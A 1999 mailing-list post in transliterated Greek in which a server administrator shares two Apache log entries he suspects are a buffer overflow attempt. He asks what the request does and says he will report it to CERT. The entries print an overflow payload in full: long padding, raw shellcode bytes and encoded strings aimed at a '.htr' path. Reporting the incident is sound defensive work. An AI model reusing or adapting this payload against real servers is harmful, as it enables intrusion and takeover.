Buffer overflow attack ?
Spiros Bolis
sbolis at freemail.gr
Sun Aug 29 13:34:07 EEST 1999
Paides xairetw,
Sta error logs enos Apache 1.3.6 brhka ta parakatw kai ypopsiazomai kapoio
overflow attack eidika apo th stigmh poy kapoy mesa se ola ayta yparxei kai
ena "xtp"
----------------------------------------------------------------------------
---------------------------------------------------------
xxxx.xxx.gr - - [xx/xxx/xxxx:xx:xx:xx +0300] "GET /AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<B0><87>gh<B0><87
>gh<90><90>
90><90>XX<90>3<C0>P[SY<8B><DE>f<B8>!^B^C<D8>2<C0><D7>,!<88>^CK<<DE>u<F4>CC<B
A><D0>^PghR
QS<FF>^R<8B><F0><8B><F9><FC>Y<B1>^F<90>ZC2<C0><D7>PX<84><C0>PXu<F4>CRQSV<B2>
T<FF>^R<AB>Y
Z<E2><E6>C2<C0><D7>PX<84><C0>PXu<F4>CRS<FF>^R<8B><F0>Z3<C9>PX<B1>^EC2<C0><D7
>PX<84><C0>P
u<F4>CRQSV<B2>T<FF>^R<AB>YZ<E2><E6>3<C0>P at P@P<FF>W<F4><89>G<CC>3<C0>PP<B0>^B
f<AB>X<B4>P
f<AB>X<AB><AB><AB><B1>!<90>f<83><C3>^V<8B><F3>C2<C0><D7>:<C8>u<F8>2<C0><88>^
CV<FF>W<EC>
<90>f<83><EF>^P<92><8B>R^L<8B>^R<8B>^R<92><8B><D7><89>B^DRj^PR<FF>w<CC><FF>W
<F8>Zf<83>
<EEVC<8B><F3><FC><AC><84><C0>u<FB>AN<C7>^F<8D><8A><8D><8A><81>6<80><80><80><
80>3<C0>PPjH
S<FF>w<CC><FF>W<F0>X[<8B><D0>f<B8><FF>^OPRPR<FF>W<E8><8B><F0>X<90><90><90><9
0>PS<FF>W
<D4><8B><E8>3<C0>ZRPRV<FF>w<CC><FF>W<EC><80><FC><FF>t^OPVU<FF>W<D8><80><FC><
FF>t^D<85>
<C0>u<DF>U<FF>W<DC>3<C0>@PS<FF>W<E4><90><90><90><90><FF>lfsofmTS!<80><8D><84
><93><86>
82><95>!<80><8D><98><93><8A><95><86>!<80><8D><84><8D><90><94><86>!<80><8D><9
0><91><86>
<8F>!x<8A><8F>f<99><86><84>!h<8D><90><83><82><8D>b<8D><8D><90><84>!xtpdlTS!<
93><86><84>
<97>!<94><86><8F><85>!<94><90><84><8C><86><95>!<84><90><8F><8F><86><84><95>!
<88><86><95>
<89><90><94><95><83><9A><8F><82><8E><86>!<90><98><8F>O<86><99><86>!RZVORWXOR
RWORXWBhfuAP
<8F><84><99>ZZO<86><99><86>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!.htr H
TTP/1.0" 403 994
----------------------------------------------------------------------------
---------------------------------------------------------
xxx.xxx.gr - - [xx/xxx/1999:xx:xx:xx +0300] "GET /AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<B0><87>gh<B0><87>gh<90><90><90><90>XX<90
>3<C0>P[SY
8B><DE>f<B8>!^B^C<D8>2<C0><D7>,!<88>^CK<<DE>u<F4>CC<BA><D0>^PghRQS<FF>^R<8B>
<F0><8B>
<F9><FC>Y<B1>^F<90>ZC2<C0><D7>PX<84><C0>PXu<F4>CRQSV<B2>T<FF>^R<AB>YZ<E2><E6
>C2<C0><D7>P
<84><C0>PXu<F4>CRS<FF>^R<8B><F0>Z3<C9>PX<B1>^EC2<C0><D7>PX<84><C0>PXu<F4>CRQ
SV<B2>T<FF>
^R<AB>YZ<E2><E6>3<C0>P at P@P<FF>W<F4><89>G<CC>3<C0>PP<B0>^Bf<AB>X<B4>Pf<AB>X<A
B><AB><AB>
<B1>!<90>f<83><C3>^V<8B><F3>C2<C0><D7>:<C8>u<F8>2<C0><88>^CV<FF>W<EC><90>f<8
3><EF>^P<92>
<8B>R^L<8B>^R<8B>^R<92><8B><D7><89>B^DRj^PR<FF>w<CC><FF>W<F8>Zf<83><EEVC<8B>
<F3><FC><AC>
<84><C0>u<FB>AN<C7>^F<8D><8A><8D><8A><81>6<80><80><80><80>3<C0>PPjHS<FF>w<CC
><FF>W<F0>X[
8B><D0>f<B8><FF>^OPRPR<FF>W<E8><8B><F0>X<90><90><90><90>PS<FF>W<D4><8B><E8>3
<C0>ZRPRV
<FF>w<CC><FF>W<EC><80><FC><FF>t^OPVU<FF>W<D8><80><FC><FF>t^D<85><C0>u<DF>U<F
F>W<DC>3<C0>
@PS<FF>W<E4><90><90><90><90><FF>lfsofmTS!<80><8D><84><93><86><82><95>!<80><8
D><98><93>
<8A><95><86>!<80><8D><84><8D><90><94><86>!<80><8D><90><91><86><8F>!x<8A><8F>
f<99><86>
<84>!h<8D><90><83><82><8D>b<8D><8D><90><84>!xtpdlTS!<93><86><84><97>!<94><86
><8F><85>!
94><90><84><8C><86><95>!<84><90><8F><8F><86><84><95>!<88><86><95><89><90><94
><95><83>
9A><8F><82><8E><86>!<90><98><8F>O<86><99><86>!RZVORWXORRWORXWBhfuAP<8F><84><
99>ZZO<86>
<99><86>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.htr
HTTP/1.0" 403 994
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Borei kapoios na katalabei ti peripoy kanei ayto to prama kai an petyxe
ayto poy prospathoyse ? Deytera prwi pantws egw tha anaferw to symban se
CERT,CSIRT kai ton paroxea toy "palhkarioy"
Eyxaristw,
Spiros D. Bolis
Spiros D. Bolis
--
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